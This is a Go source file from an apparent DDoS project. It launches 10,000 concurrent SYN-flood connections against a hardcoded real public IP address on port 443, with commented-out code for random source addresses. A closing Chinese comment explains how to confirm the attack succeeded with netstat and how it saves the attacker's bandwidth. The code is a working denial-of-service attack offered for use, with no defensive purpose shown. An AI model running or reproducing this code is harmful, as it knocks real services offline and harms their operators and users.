package main

import (
	"Go_DDOS/src/DdosMethod"
	"fmt"
	"math/rand"
	"net"
	"strconv"
	"time"
)

func randomIp() string {
	a := rand.Intn(255)
	b := rand.Intn(255)
	c := rand.Intn(255)
	d := rand.Intn(255)
	newip := strconv.Itoa(a) + "." + strconv.Itoa(b) + "." + strconv.Itoa(c) + "." + strconv.Itoa(d) + ":"
	fmt.Println(newip)
	return newip
}
func main() {
	//设定本地起始端口号
	//lip:=randomIp()
	lip := "192.168.0.104:"
	lport := 60000
	//设定目标tcpaddr

	ripport := "183.232.231.154:443"
	raddr, err := net.ResolveTCPAddr("tcp", ripport)
	if err != nil {
		fmt.Println("目标tcp结构体创建失败")
	}
	//设置同时开启的连接数
	numbers := 10000
	for i := 0; i < numbers; i++ {
		go DdosMethod.SynSetFlood(lip, strconv.Itoa(lport), raddr)
		lport++
		s := rand.Intn(1000)
		time.Sleep(time.Millisecond * time.Duration(s))
	}
}

/*
好了，上述代码写完，直接开跑；之后打开CMD，先查看一下已经成功没netstat -ano|find “101.226.28.205:80”，如果看到一大堆，就表明已经攻击了，你会看到大部分监听状态均为syn_sent，非常好，你不需要向他发送任何数据，
且不用去接收返回的Body，这样可以节约攻击者的流量，毕竟我们就是为了syn_sent而做出的行为。之后看看有多少数量的攻击 netstat -ano|find “目标ip:目标端口号” /c 基本上会在协程数量下波动，不会太大。
*/
